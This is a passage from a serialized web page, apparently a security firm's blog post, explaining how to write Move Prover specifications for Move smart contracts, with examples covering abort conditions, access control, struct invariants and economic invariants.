tyle":168},[11703],{"type":28,"value":171},{"type":23,"tag":134,"props":11705,"children":11706},{"style":264},[11707],{"type":28,"value":11708}," compare",{"type":23,"tag":134,"props":11710,"children":11711},{"style":179},[11712],{"type":28,"value":272},{"type":23,"tag":134,"props":11714,"children":11715},{"style":168},[11716],{"type":28,"value":277},{"type":23,"tag":134,"props":11718,"children":11719},{"style":162},[11720],{"type":28,"value":11721},"result_11",{"type":23,"tag":134,"props":11723,"children":11724},{"style":179},[11725],{"type":28,"value":242},{"type":23,"tag":134,"props":11727,"children":11728},{"style":168},[11729],{"type":28,"value":277},{"type":23,"tag":134,"props":11731,"children":11732},{"style":162},[11733],{"type":28,"value":11734},"result_22",{"type":23,"tag":134,"props":11736,"children":11737},{"style":179},[11738],{"type":28,"value":1021},{"type":23,"tag":134,"props":11740,"children":11741},{"class":136,"line":479},[11742,11747,11752,11756,11760,11765,11769,11774],{"type":23,"tag":134,"props":11743,"children":11744},{"style":189},[11745],{"type":28,"value":11746},"    if",{"type":23,"tag":134,"props":11748,"children":11749},{"style":179},[11750],{"type":28,"value":11751}," ( ",{"type":23,"tag":134,"props":11753,"children":11754},{"style":162},[11755],{"type":28,"value":7384},{"type":23,"tag":134,"props":11757,"children":11758},{"style":168},[11759],{"type":28,"value":454},{"type":23,"tag":134,"props":11761,"children":11762},{"style":179},[11763],{"type":28,"value":11764}," EQUAL ) ",{"type":23,"tag":134,"props":11766,"children":11767},{"style":151},[11768],{"type":28,"value":1195},{"type":23,"tag":134,"props":11770,"children":11771},{"style":189},[11772],{"type":28,"value":11773}," else",{"type":23,"tag":134,"props":11775,"children":11776},{"style":151},[11777],{"type":28,"value":11778}," false\n",{"type":23,"tag":134,"props":11780,"children":11781},{"class":136,"line":497},[11782],{"type":23,"tag":134,"props":11783,"children":11784},{"style":179},[11785],{"type":28,"value":1098},{"type":23,"tag":24,"props":11787,"children":11788},{},[11789],{"type":28,"value":11790},"Lastly, we want to create a spec block which aborts if the sum overflows, and ensures that the result of the function is true:",{"type":23,"tag":87,"props":11792,"children":11794},{"code":11793,"language":127,"meta":7,"className":128,"style":7},"spec add_assoc_property {\n    aborts_if (value_of_U256(a) + value_of_U256(b)) + value_of_U256(c) >= P64 * P64 * P64 * P64;\n    ensures result == true;\n}\n",[11795],{"type":23,"tag":92,"props":11796,"children":11797},{"__ignoreMap":7},[11798,11813,11917,11941],{"type":23,"tag":134,"props":11799,"children":11800},{"class":136,"line":137},[11801,11805,11809],{"type":23,"tag":134,"props":11802,"children":11803},{"style":162},[11804],{"type":28,"value":7734},{"type":23,"tag":134,"props":11806,"children":11807},{"style":162},[11808],{"type":28,"value":11456},{"type":23,"tag":134,"props":11810,"children":11811},{"style":179},[11812],{"type":28,"value":463},{"type":23,"tag":134,"props":11814,"children":11815},{"class":136,"line":147},[11816,11820,11824,11829,11833,11837,11841,11845,11849,11853,11857,11861,11865,11869,11873,11877,11881,11885,11889,11893,11897,11901,11905,11909,11913],{"type":23,"tag":134,"props":11817,"children":11818},{"style":162},[11819],{"type":28,"value":9367},{"type":23,"tag":134,"props":11821,"children":11822},{"style":179},[11823],{"type":28,"value":232},{"type":23,"tag":134,"props":11825,"children":11826},{"style":264},[11827],{"type":28,"value":11828},"value_of_U256",{"type":23,"tag":134,"props":11830,"children":11831},{"style":179},[11832],{"type":28,"value":272},{"type":23,"tag":134,"props":11834,"children":11835},{"style":162},[11836],{"type":28,"value":31},{"type":23,"tag":134,"props":11838,"children":11839},{"style":179},[11840],{"type":28,"value":252},{"type":23,"tag":134,"props":11842,"children":11843},{"style":168},[11844],{"type":28,"value":1586},{"type":23,"tag":134,"props":11846,"children":11847},{"style":264},[11848],{"type":28,"value":9168},{"type":23,"tag":134,"props":11850,"children":11851},{"style":179},[11852],{"type":28,"value":272},{"type":23,"tag":134,"props":11854,"children":11855},{"style":162},[11856],{"type":28,"value":393},{"type":23,"tag":134,"props":11858,"children":11859},{"style":179},[11860],{"type":28,"value":8297},{"type":23,"tag":134,"props":11862,"children":11863},{"style":168},[11864],{"type":28,"value":1586},{"type":23,"tag":134,"props":11866,"children":11867},{"style":264},[11868],{"type":28,"value":9168},{"type":23,"tag":134,"props":11870,"children":11871},{"style":179},[11872],{"type":28,"value":272},{"type":23,"tag":134,"props":11874,"children":11875},{"style":162},[11876],{"type":28,"value":315},{"type":23,"tag":134,"props":11878,"children":11879},{"style":179},[11880],{"type":28,"value":252},{"type":23,"tag":134,"props":11882,"children":11883},{"style":168},[11884],{"type":28,"value":9408},{"type":23,"tag":134,"props":11886,"children":11887},{"style":597},[11888],{"type":28,"value":9124},{"type":23,"tag":134,"props":11890,"children":11891},{"style":168},[11892],{"type":28,"value":9281},{"type":23,"tag":134,"props":11894,"children":11895},{"style":597},[11896],{"type":28,"value":9124},{"type":23,"tag":134,"props":11898,"children":11899},{"style":168},[11900],{"type":28,"value":9281},{"type":23,"tag":134,"props":11902,"children":11903},{"style":597},[11904],{"type":28,"value":9124},{"type":23,"tag":134,"props":11906,"children":11907},{"style":168},[11908],{"type":28,"value":9281},{"type":23,"tag":134,"props":11910,"children":11911},{"style":597},[11912],{"type":28,"value":9124},{"type":23,"tag":134,"props":11914,"children":11915},{"style":179},[11916],{"type":28,"value":182},{"type":23,"tag":134,"props":11918,"children":11919},{"class":136,"line":185},[11920,11924,11928,11932,11937],{"type":23,"tag":134,"props":11921,"children":11922},{"style":162},[11923],{"type":28,"value":9665},{"type":23,"tag":134,"props":11925,"children":11926},{"style":162},[11927],{"type":28,"value":8622},{"type":23,"tag":134,"props":11929,"children":11930},{"style":168},[11931],{"type":28,"value":454},{"type":23,"tag":134,"props":11933,"children":11934},{"style":151},[11935],{"type":28,"value":11936}," true",{"type":23,"tag":134,"props":11938,"children":11939},{"style":179},[11940],{"type":28,"value":182},{"type":23,"tag":134,"props":11942,"children":11943},{"class":136,"line":221},[11944],{"type":23,"tag":134,"props":11945,"children":11946},{"style":179},[11947],{"type":28,"value":1098},{"type":23,"tag":24,"props":11949,"children":11950},{},[11951],{"type":28,"value":11952},"Running move prover with the new specifications, we can confirm that there are no verification errors:",{"type":23,"tag":87,"props":11954,"children":11955},{"code":11413},[11956],{"type":23,"tag":92,"props":11957,"children":11958},{"__ignoreMap":7},[11959],{"type":28,"value":11413},{"type":23,"tag":24,"props":11961,"children":11962},{},[11963,11965,11972],{"type":28,"value":11964},"For a more complete document detailing Move Prover syntax, we recommend referring to ",{"type":23,"tag":31,"props":11966,"children":11969},{"href":11967,"rel":11968},"https://github.com/move-language/move/blob/main/language/move-prover/doc/user/spec-lang.md",[35],[11970],{"type":28,"value":11971},"spec-lang.md",{"type":28,"value":11973}," in the Move Repository.",{"type":23,"tag":61,"props":11975,"children":11977},{"id":11976},"use-cases",[11978],{"type":28,"value":11979},"Use Cases",{"type":23,"tag":24,"props":11981,"children":11982},{},[11983],{"type":28,"value":11984},"Formal verification can prove that a smart contract satisfies the given requirements for all possible cases without even running the contract. The hard part is coming up with the specifications.",{"type":23,"tag":24,"props":11986,"children":11987},{},[11988],{"type":28,"value":11989},"Here, we hope to explore some practical examples of possible verification ideas.",{"type":23,"tag":9072,"props":11991,"children":11993},{"id":11992},"error-conditions",[11994],{"type":28,"value":11995},"Error Conditions",{"type":23,"tag":24,"props":11997,"children":11998},{},[11999,12001,12007],{"type":28,"value":12000},"Taking an example from ",{"type":23,"tag":92,"props":12002,"children":12004},{"className":12003},[],[12005],{"type":28,"value":12006},"std::fixed_point32",{"type":28,"value":12008},", it's often useful to explicitly define when a function might abort. For example, arithmetic operations with fixed point numbers should only error if they overflow.",{"type":23,"tag":87,"props":12010,"children":12012},{"code":12011,"language":127,"meta":7,"className":128,"style":7},"      spec schema MultiplyAbortsIf {\n          val: num;\n          multiplier: FixedPoint32;\n          aborts_if spec_multiply_u64(val, multiplier) > MAX_U64 with EMULTIPLICATION;\n      }\n      spec fun spec_multiply_u64(val: num, multiplier: FixedPoint32): num {\n          (val * multiplier.value) >> 32\n      }\n",[12013],{"type":23,"tag":92,"props":12014,"children":12015},{"__ignoreMap":7},[12016,12037,12057,12078,12124,12132,12195,12234],{"type":23,"tag":134,"props":12017,"children":12018},{"class":136,"line":137},[12019,12023,12028,12033],{"type":23,"tag":134,"props":12020,"children":12021},{"style":162},[12022],{"type":28,"value":8389},{"type":23,"tag":134,"props":12024,"children":12025},{"style":162},[12026],{"type":28,"value":12027}," schema",{"type":23,"tag":134,"props":12029,"children":12030},{"style":597},[12031],{"type":28,"value":12032}," MultiplyAbortsIf",{"type":23,"tag":134,"props":12034,"children":12035},{"style":179},[12036],{"type":28,"value":463},{"type":23,"tag":134,"props":12038,"children":12039},{"class":136,"line":147},[12040,12045,12049,12053],{"type":23,"tag":134,"props":12041,"children":12042},{"style":162},[12043],{"type":28,"value":12044},"          val",{"type":23,"tag":134,"props":12046,"children":12047},{"style":168},[12048],{"type":28,"value":1697},{"type":23,"tag":134,"props":12050,"children":12051},{"style":162},[12052],{"type":28,"value":9197},{"type":23,"tag":134,"props":12054,"children":12055},{"style":179},[12056],{"type":28,"value":182},{"type":23,"tag":134,"props":12058,"children":12059},{"class":136,"line":185},[12060,12065,12069,12074],{"type":23,"tag":134,"props":12061,"children":12062},{"style":162},[12063],{"type":28,"value":12064},"          multiplier",{"type":23,"tag":134,"props":12066,"children":12067},{"style":168},[12068],{"type":28,"value":1697},{"type":23,"tag":134,"props":12070,"children":12071},{"style":597},[12072],{"type":28,"value":12073}," FixedPoint32",{"type":23,"tag":134,"props":12075,"children":12076},{"style":179},[12077],{"type":28,"value":182},{"type":23,"tag":134,"props":12079,"children":12080},{"class":136,"line":221},[12081,12086,12091,12095,12100,12104,12109,12114,12119],{"type":23,"tag":134,"props":12082,"children":12083},{"style":162},[12084],{"type":28,"value":12085},"          aborts_if",{"type":23,"tag":134,"props":12087,"children":12088},{"style":264},[12089],{"type":28,"value":12090}," spec_multiply_u64",{"type":23,"tag":134,"props":12092,"children":12093},{"style":179},[12094],{"type":28,"value":272},{"type":23,"tag":134,"props":12096,"children":12097},{"style":162},[12098],{"type":28,"value":12099},"val",{"type":23,"tag":134,"props":12101,"children":12102},{"style":179},[12103],{"type":28,"value":242},{"type":23,"tag":134,"props":12105,"children":12106},{"style":162},[12107],{"type":28,"value":12108},"multiplier",{"type":23,"tag":134,"props":12110,"children":12111},{"style":179},[12112],{"type":28,"value":12113},") > MAX_U64 ",{"type":23,"tag":134,"props":12115,"children":12116},{"style":162},[12117],{"type":28,"value":12118},"with",{"type":23,"tag":134,"props":12120,"children":12121},{"style":179},[12122],{"type":28,"value":12123}," EMULTIPLICATION;\n",{"type":23,"tag":134,"props":12125,"children":12126},{"class":136,"line":332},[12127],{"type":23,"tag":134,"props":12128,"children":12129},{"style":179},[12130],{"type":28,"value":12131},"      }\n",{"type":23,"tag":134,"props":12133,"children":12134},{"class":136,"line":438},[12135,12139,12143,12147,12151,12155,12159,12163,12167,12171,12175,12179,12183,12187,12191],{"type":23,"tag":134,"props":12136,"children":12137},{"style":162},[12138],{"type":28,"value":8389},{"type":23,"tag":134,"props":12140,"children":12141},{"style":162},[12142],{"type":28,"value":5664},{"type":23,"tag":134,"props":12144,"children":12145},{"style":264},[12146],{"type":28,"value":12090},{"type":23,"tag":134,"props":12148,"children":12149},{"style":179},[12150],{"type":28,"value":272},{"type":23,"tag":134,"props":12152,"children":12153},{"style":162},[12154],{"type":28,"value":12099},{"type":23,"tag":134,"props":12156,"children":12157},{"style":168},[12158],{"type":28,"value":1697},{"type":23,"tag":134,"props":12160,"children":12161},{"style":162},[12162],{"type":28,"value":9197},{"type":23,"tag":134,"props":12164,"children":12165},{"style":179},[12166],{"type":28,"value":242},{"type":23,"tag":134,"props":12168,"children":12169},{"style":162},[12170],{"type":28,"value":12108},{"type":23,"tag":134,"props":12172,"children":12173},{"style":168},[12174],{"type":28,"value":1697},{"type":23,"tag":134,"props":12176,"children":12177},{"style":597},[12178],{"type":28,"value":12073},{"type":23,"tag":134,"props":12180,"children":12181},{"style":179},[12182],{"type":28,"value":296},{"type":23,"tag":134,"props":12184,"children":12185},{"style":168},[12186],{"type":28,"value":1697},{"type":23,"tag":134,"props":12188,"children":12189},{"style":162},[12190],{"type":28,"value":9197},{"type":23,"tag":134,"props":12192,"children":12193},{"style":179},[12194],{"type":28,"value":463},{"type":23,"tag":134,"props":12196,"children":12197},{"class":136,"line":466},[12198,12202,12206,12210,12215,12219,12224,12229],{"type":23,"tag":134,"props":12199,"children":12200},{"style":179},[12201],{"type":28,"value":8170},{"type":23,"tag":134,"props":12203,"children":12204},{"style":162},[12205],{"type":28,"value":12099},{"type":23,"tag":134,"props":12207,"children":12208},{"style":168},[12209],{"type":28,"value":9281},{"type":23,"tag":134,"props":12211,"children":12212},{"style":162},[12213],{"type":28,"value":12214}," multiplier",{"type":23,"tag":134,"props":12216,"children":12217},{"style":168},[12218],{"type":28,"value":720},{"type":23,"tag":134,"props":12220,"children":12221},{"style":179},[12222],{"type":28,"value":12223},"value) ",{"type":23,"tag":134,"props":12225,"children":12226},{"style":168},[12227],{"type":28,"value":12228},">>",{"type":23,"tag":134,"props":12230,"children":12231},{"style":205},[12232],{"type":28,"value":12233}," 32\n",{"type":23,"tag":134,"props":12235,"children":12236},{"class":136,"line":479},[12237],{"type":23,"tag":134,"props":12238,"children":12239},{"style":179},[12240],{"type":28,"value":12131},{"type":23,"tag":9072,"props":12242,"children":12244},{"id":12243},"access-control-policies",[12245],{"type":28,"value":12246},"Access Control Policies",{"type":23,"tag":24,"props":12248,"children":12249},{},[12250],{"type":28,"value":12251},"Somewhat similar to error conditions, it's often useful to enforce explicit access control policies at the specification level.",{"type":23,"tag":24,"props":12253,"children":12254},{},[12255,12257,12263,12265,12270],{"type":28,"value":12256},"For example, in ",{"type":23,"tag":92,"props":12258,"children":12260},{"className":12259},[],[12261],{"type":28,"value":12262},"std::offer",{"type":28,"value":12264}," we are able to see that the function should abort if and only if there does not exist an offer, ",{"type":23,"tag":55,"props":12266,"children":12267},{},[12268],{"type":28,"value":12269},"or",{"type":28,"value":12271}," the recipient is now allowed.",{"type":23,"tag":87,"props":12273,"children":12275},{"code":12274,"language":127,"meta":7,"className":128,"style":7},"    spec redeem {\n      /// Aborts if there is no offer under `offer_address` or if the account\n      /// cannot redeem the offer.\n      /// Ensures that the offered struct under `offer_address` is removed.\n      aborts_if !exists\u003COffer\u003COffered>>(offer_address);\n      aborts_if !is_allowed_recipient\u003COffered>(offer_address, signer::address_of(account));\n      ensures !exists\u003COffer\u003COffered>>(offer_address);\n      ensures result == old(global\u003COffer\u003COffered>>(offer_address).offered);\n    }\n",[12276],{"type":23,"tag":92,"props":12277,"children":12278},{"__ignoreMap":7},[12279,12296,12304,12312,12320,12367,12425,12468,12534],{"type":23,"tag":134,"props":12280,"children":12281},{"class":136,"line":137},[12282,12287,12292],{"type":23,"tag":134,"props":12283,"children":12284},{"style":162},[12285],{"type":28,"value":12286},"    spec",{"type":23,"tag":134,"props":12288,"children":12289},{"style":162},[12290],{"type":28,"value":12291}," redeem",{"type":23,"tag":134,"props":12293,"children":12294},{"style":179},[12295],{"type":28,"value":463},{"type":23,"tag":134,"props":12297,"children":12298},{"class":136,"line":147},[12299],{"type":23,"tag":134,"props":12300,"children":12301},{"style":141},[12302],{"type":28,"value":12303},"      /// Aborts if there is no offer under `offer_address` or if the account\n",{"type":23,"tag":134,"props":12305,"children":12306},{"class":136,"line":185},[12307],{"type":23,"tag":134,"props":12308,"children":12309},{"style":141},[12310],{"type":28,"value":12311},"      /// cannot redeem the offer.\n",{"type":23,"tag":134,"props":12313,"children":12314},{"class":136,"line":221},[12315],{"type":23,"tag":134,"props":12316,"children":12317},{"style":141},[12318],{"type":28,"value":12319},"      /// Ensures that the offered struct under `offer_address` is removed.\n",{"type":23,"tag":134,"props":12321,"children":12322},{"class":136,"line":332},[12323,12327,12332,12336,12340,12345,12349,12354,12358,12363],{"type":23,"tag":134,"props":12324,"children":12325},{"style":162},[12326],{"type":28,"value":8514},{"type":23,"tag":134,"props":12328,"children":12329},{"style":168},[12330],{"type":28,"value":12331}," !",{"type":23,"tag":134,"props":12333,"children":12334},{"style":162},[12335],{"type":28,"value":6162},{"type":23,"tag":134,"props":12337,"children":12338},{"style":179},[12339],{"type":28,"value":5262},{"type":23,"tag":134,"props":12341,"children":12342},{"style":597},[12343],{"type":28,"value":12344},"Offer",{"type":23,"tag":134,"props":12346,"children":12347},{"style":179},[12348],{"type":28,"value":5262},{"type":23,"tag":134,"props":12350,"children":12351},{"style":597},[12352],{"type":28,"value":12353},"Offered",{"type":23,"tag":134,"props":12355,"children":12356},{"style":179},[12357],{"type":28,"value":6184},{"type":23,"tag":134,"props":12359,"children":12360},{"style":162},[12361],{"type":28,"value":12362},"offer_address",{"type":23,"tag":134,"props":12364,"children":12365},{"style":179},[12366],{"type":28,"value":1021},{"type":23,"tag":134,"props":12368,"children":12369},{"class":136,"line":438},[12370,12374,12378,12383,12387,12391,12395,12399,12404,12408,12412,12416,12421],{"type":23,"tag":134,"props":12371,"children":12372},{"style":162},[12373],{"type":28,"value":8514},{"type":23,"tag":134,"props":12375,"children":12376},{"style":168},[12377],{"type":28,"value":12331},{"type":23,"tag":134,"props":12379,"children":12380},{"style":162},[12381],{"type":28,"value":12382},"is_allowed_recipient",{"type":23,"tag":134,"props":12384,"children":12385},{"style":179},[12386],{"type":28,"value":5262},{"type":23,"tag":134,"props":12388,"children":12389},{"style":597},[12390],{"type":28,"value":12353},{"type":23,"tag":134,"props":12392,"children":12393},{"style":179},[12394],{"type":28,"value":7069},{"type":23,"tag":134,"props":12396,"children":12397},{"style":162},[12398],{"type":28,"value":12362},{"type":23,"tag":134,"props":12400,"children":12401},{"style":179},[12402],{"type":28,"value":12403},", signer",{"type":23,"tag":134,"props":12405,"children":12406},{"style":168},[12407],{"type":28,"value":660},{"type":23,"tag":134,"props":12409,"children":12410},{"style":264},[12411],{"type":28,"value":6667},{"type":23,"tag":134,"props":12413,"children":12414},{"style":179},[12415],{"type":28,"value":272},{"type":23,"tag":134,"props":12417,"children":12418},{"style":162},[12419],{"type":28,"value":12420},"account",{"type":23,"tag":134,"props":12422,"children":12423},{"style":179},[12424],{"type":28,"value":6681},{"type":23,"tag":134,"props":12426,"children":12427},{"class":136,"line":466},[12428,12432,12436,12440,12444,12448,12452,12456,12460,12464],{"type":23,"tag":134,"props":12429,"children":12430},{"style":162},[12431],{"type":28,"value":7646},{"type":23,"tag":134,"props":12433,"children":12434},{"style":168},[12435],{"type":28,"value":12331},{"type":23,"tag":134,"props":12437,"children":12438},{"style":162},[12439],{"type":28,"value":6162},{"type":23,"tag":134,"props":12441,"children":12442},{"style":179},[12443],{"type":28,"value":5262},{"type":23,"tag":134,"props":12445,"children":12446},{"style":597},[12447],{"type":28,"value":12344},{"type":23,"tag":134,"props":12449,"children":12450},{"style":179},[12451],{"type":28,"value":5262},{"type":23,"tag":134,"props":12453,"children":12454},{"style":597},[12455],{"type":28,"value":12353},{"type":23,"tag":134,"props":12457,"children":12458},{"style":179},[12459],{"type":28,"value":6184},{"type":23,"tag":134,"props":12461,"children":12462},{"style":162},[12463],{"type":28,"value":12362},{"type":23,"tag":134,"props":12465,"children":12466},{"style":179},[12467],{"type":28,"value":1021},{"type":23,"tag":134,"props":12469,"children":12470},{"class":136,"line":479},[12471,12475,12479,12483,12488,12492,12497,12501,12505,12509,12513,12517,12521,12525,12529],{"type":23,"tag":134,"props":12472,"children":12473},{"style":162},[12474],{"type":28,"value":7646},{"type":23,"tag":134,"props":12476,"children":12477},{"style":162},[12478],{"type":28,"value":8622},{"type":23,"tag":134,"props":12480,"children":12481},{"style":168},[12482],{"type":28,"value":454},{"type":23,"tag":134,"props":12484,"children":12485},{"style":264},[12486],{"type":28,"value":12487}," old",{"type":23,"tag":134,"props":12489,"children":12490},{"style":179},[12491],{"type":28,"value":272},{"type":23,"tag":134,"props":12493,"children":12494},{"style":162},[12495],{"type":28,"value":12496},"global",{"type":23,"tag":134,"props":12498,"children":12499},{"style":179},[12500],{"type":28,"value":5262},{"type":23,"tag":134,"props":12502,"children":12503},{"style":597},[12504],{"type":28,"value":12344},{"type":23,"tag":134,"props":12506,"children":12507},{"style":179},[12508],{"type":28,"value":5262},{"type":23,"tag":134,"props":12510,"children":12511},{"style":597},[12512],{"type":28,"value":12353},{"type":23,"tag":134,"props":12514,"children":12515},{"style":179},[12516],{"type":28,"value":6184},{"type":23,"tag":134,"props":12518,"children":12519},{"style":162},[12520],{"type":28,"value":12362},{"type":23,"tag":134,"props":12522,"children":12523},{"style":179},[12524],{"type":28,"value":296},{"type":23,"tag":134,"props":12526,"children":12527},{"style":168},[12528],{"type":28,"value":720},{"type":23,"tag":134,"props":12530,"children":12531},{"style":179},[12532],{"type":28,"value":12533},"offered);\n",{"type":23,"tag":134,"props":12535,"children":12536},{"class":136,"line":497},[12537],{"type":23,"tag":134,"props":12538,"children":12539},{"style":179},[12540],{"type":28,"value":533},{"type":23,"tag":24,"props":12542,"children":12543},{},[12544],{"type":28,"value":12545},"These access control specifications make it impossible to accidentally remove security critical access control policies later.",{"type":23,"tag":9072,"props":12547,"children":12549},{"id":12548},"complex-mathematical-formulae",[12550],{"type":28,"value":12551},"Complex Mathematical Formulae",{"type":23,"tag":24,"props":12553,"children":12554},{},[12555,12557,12562],{"type":28,"value":12556},"Whether it's a decimal implementation or more complex data structures, it's often useful to verify that the expected output is ",{"type":23,"tag":55,"props":12558,"children":12559},{},[12560],{"type":28,"value":12561},"always",{"type":28,"value":12563}," the output.",{"type":23,"tag":24,"props":12565,"children":12566},{},[12567],{"type":28,"value":12568},"Proving that your fundamental data structures work exactly as intended will give you much more confidence in the remainder of your codebase.",{"type":23,"tag":24,"props":12570,"children":12571},{},[12572,12574,12581],{"type":28,"value":12573},"For example, in our work with ",{"type":23,"tag":31,"props":12575,"children":12578},{"href":12576,"rel":12577},"https://laminar.markets/",[35],[12579],{"type":28,"value":12580},"Laminar Markets",{"type":28,"value":12582},", we provided recommendations for verifying their internal splay tree implementation against a simpler priority queue data structure.",{"type":23,"tag":9072,"props":12584,"children":12586},{"id":12585},"data-invariants",[12587],{"type":28,"value":12588},"Data Invariants",{"type":23,"tag":24,"props":12590,"children":12591},{},[12592,12594,12600,12602,12608,12610,12616,12618,12624],{"type":28,"value":12593},"Formal verification provides the best environment to verify that certain ",{"type":23,"tag":92,"props":12595,"children":12597},{"className":12596},[],[12598],{"type":28,"value":12599},"variables",{"type":28,"value":12601}," or ",{"type":23,"tag":92,"props":12603,"children":12605},{"className":12604},[],[12606],{"type":28,"value":12607},"resources",{"type":28,"value":12609}," don't exceed the intended boundaries. Let's consider the struct from below. We can ensure that ",{"type":23,"tag":92,"props":12611,"children":12613},{"className":12612},[],[12614],{"type":28,"value":12615},"index",{"type":28,"value":12617}," is never greater than 4 using a ",{"type":23,"tag":92,"props":12619,"children":12621},{"className":12620},[],[12622],{"type":28,"value":12623},"struct invariant",{"type":28,"value":720},{"type":23,"tag":87,"props":12626,"children":12628},{"code":12627,"language":127,"meta":7,"className":128,"style":7},"struct Type {\n    index: u64\n}\n\nspec Type {\n    invariant index \u003C 4;\n}\n",[12629],{"type":23,"tag":92,"props":12630,"children":12631},{"__ignoreMap":7},[12632,12648,12665,12672,12679,12694,12718],{"type":23,"tag":134,"props":12633,"children":12634},{"class":136,"line":137},[12635,12639,12644],{"type":23,"tag":134,"props":12636,"children":12637},{"style":151},[12638],{"type":28,"value":8864},{"type":23,"tag":134,"props":12640,"children":12641},{"style":597},[12642],{"type":28,"value":12643}," Type",{"type":23,"tag":134,"props":12645,"children":12646},{"style":179},[12647],{"type":28,"value":463},{"type":23,"tag":134,"props":12649,"children":12650},{"class":136,"line":147},[12651,12656,12660],{"type":23,"tag":134,"props":12652,"children":12653},{"style":162},[12654],{"type":28,"value":12655},"    index",{"type":23,"tag":134,"props":12657,"children":12658},{"style":168},[12659],{"type":28,"value":1697},{"type":23,"tag":134,"props":12661,"children":12662},{"style":597},[12663],{"type":28,"value":12664}," u64\n",{"type":23,"tag":134,"props":12666,"children":12667},{"class":136,"line":185},[12668],{"type":23,"tag":134,"props":12669,"children":12670},{"style":179},[12671],{"type":28,"value":1098},{"type":23,"tag":134,"props":12673,"children":12674},{"class":136,"line":221},[12675],{"type":23,"tag":134,"props":12676,"children":12677},{"emptyLinePlaceholder":15},[12678],{"type":28,"value":865},{"type":23,"tag":134,"props":12680,"children":12681},{"class":136,"line":332},[12682,12686,12690],{"type":23,"tag":134,"props":12683,"children":12684},{"style":162},[12685],{"type":28,"value":7734},{"type":23,"tag":134,"props":12687,"children":12688},{"style":597},[12689],{"type":28,"value":12643},{"type":23,"tag":134,"props":12691,"children":12692},{"style":179},[12693],{"type":28,"value":463},{"type":23,"tag":134,"props":12695,"children":12696},{"class":136,"line":438},[12697,12701,12706,12710,12714],{"type":23,"tag":134,"props":12698,"children":12699},{"style":162},[12700],{"type":28,"value":7751},{"type":23,"tag":134,"props":12702,"children":12703},{"style":162},[12704],{"type":28,"value":12705}," index",{"type":23,"tag":134,"props":12707,"children":12708},{"style":168},[12709],{"type":28,"value":8179},{"type":23,"tag":134,"props":12711,"children":12712},{"style":205},[12713],{"type":28,"value":11212},{"type":23,"tag":134,"props":12715,"children":12716},{"style":179},[12717],{"type":28,"value":182},{"type":23,"tag":134,"props":12719,"children":12720},{"class":136,"line":466},[12721],{"type":23,"tag":134,"props":12722,"children":12723},{"style":179},[12724],{"type":28,"value":1098},{"type":23,"tag":24,"props":12726,"children":12727},{},[12728,12730,12737,12738,12744],{"type":28,"value":12729},"We were able to verify more complex properties in our recent audits for ",{"type":23,"tag":31,"props":12731,"children":12734},{"href":12732,"rel":12733},"https://layerzero.network/",[35],[12735],{"type":28,"value":12736},"LayerZero",{"type":28,"value":10458},{"type":23,"tag":31,"props":12739,"children":12742},{"href":12740,"rel":12741},"http://ariesmarkets.xyz/",[35],[12743],{"type":28,"value":6248},{"type":28,"value":12745},", but the details are left as an exercise to the reader.",{"type":23,"tag":9072,"props":12747,"children":12749},{"id":12748},"economic-invariants",[12750],{"type":28,"value":12751},"Economic Invariants.",{"type":23,"tag":24,"props":12753,"children":12754},{},[12755],{"type":28,"value":12756},"Proper economic invariants can require more creativity to come up with but can be extremely effective at securing your protocol.",{"type":23,"tag":24,"props":12758,"children":12759},{},[12760],{"type":28,"value":12761},"For example, you should never be able to drain coins from a pool by adding and removing shares. In practice, you might implement this as a utility helper function.",{"type":23,"tag":87,"props":12763,"children":12764},{"code":7426,"language":127,"meta":7,"className":128,"style":7},[12765],{"type":23,"tag":92,"props":12766,"children":12767},{"__ignoreMap":7},[12768,12775,12858,12897,12916,12923,12938,12961,12984,13007],{"type":23,"tag":134,"props":12769,"children":12770},{"class":136,"line":137},[12771],{"type":23,"tag":134,"props":12772,"children":12773},{"style":141},[12774],{"type":28,"value":7438},{"type":23,"tag":134,"props":12776,"children":12777},{"class":136,"line":147},[12778,12782,12786,12790,12794,12798,12802,12806,12810,12814,12818,12822,12826,12830,12834,12838,12842,12846,12850,12854],{"type":23,"tag":134,"props":12779,"children":12780},{"style":162},[12781],{"type":28,"value":6027},{"type":23,"tag":134,"props":12783,"children":12784},{"style":264},[12785],{"type":28,"value":7450},{"type":23,"tag":134,"props":12787,"children":12788},{"style":179},[12789],{"type":28,"value":272},{"type":23,"tag":134,"props":12791,"children":12792},{"style":162},[12793],{"type":28,"value":7459},{"type":23,"tag":134,"props":12795,"children":12796},{"style":168},[12797],{"type":28,"value":1697},{"type":23,"tag":134,"props":12799,"children":12800},{"style":597},[12801],{"type":28,"value":5316},{"type":23,"tag":134,"props":12803,"children":12804},{"style":179},[12805],{"type":28,"value":242},{"type":23,"tag":134,"props":12807,"children":12808},{"style":162},[12809],{"type":28,"value":7476},{"type":23,"tag":134,"props":12811,"children":12812},{"style":168},[12813],{"type":28,"value":1697},{"type":23,"tag":134,"props":12815,"children":12816},{"style":597},[12817],{"type":28,"value":5316},{"type":23,"tag":134,"props":12819,"children":12820},{"style":179},[12821],{"type":28,"value":296},{"type":23,"tag":134,"props":12823,"children":12824},{"style":168},[12825],{"type":28,"value":1697},{"type":23,"tag":134,"props":12827,"children":12828},{"style":179},[12829],{"type":28,"value":232},{"type":23,"tag":134,"props":12831,"children":12832},{"style":597},[12833],{"type":28,"value":7501},{"type":23,"tag":134,"props":12835,"children":12836},{"style":179},[12837],{"type":28,"value":242},{"type":23,"tag":134,"props":12839,"children":12840},{"style":597},[12841],{"type":28,"value":7501},{"type":23,"tag":134,"props":12843,"children":12844},{"style":179},[12845],{"type":28,"value":252},{"type":23,"tag":134,"props":12847,"children":12848},{"style":162},[12849],{"type":28,"value":5801},{"type":23,"tag":134,"props":12851,"children":12852},{"style":597},[12853],{"type":28,"value":7522},{"type":23,"tag":134,"props":12855,"children":12856},{"style":179},[12857],{"type":28,"value":463},{"type":23,"tag":134,"props":12859,"children":12860},{"class":136,"line":185},[12861,12865,12869,12873,12877,12881,12885,12889,12893],{"type":23,"tag":134,"props":12862,"children":12863},{"style":151},[12864],{"type":28,"value":7534},{"type":23,"tag":134,"props":12866,"children":12867},{"style":162},[12868],{"type":28,"value":7539},{"type":23,"tag":134,"props":12870,"children":12871},{"style":168},[12872],{"type":28,"value":171},{"type":23,"tag":134,"props":12874,"children":12875},{"style":264},[12876],{"type":28,"value":7548},{"type":23,"tag":134,"props":12878,"children":12879},{"style":179},[12880],{"type":28,"value":272},{"type":23,"tag":134,"props":12882,"children":12883},{"style":162},[12884],{"type":28,"value":7459},{"type":23,"tag":134,"props":12886,"children":12887},{"style":179},[12888],{"type":28,"value":242},{"type":23,"tag":134,"props":12890,"child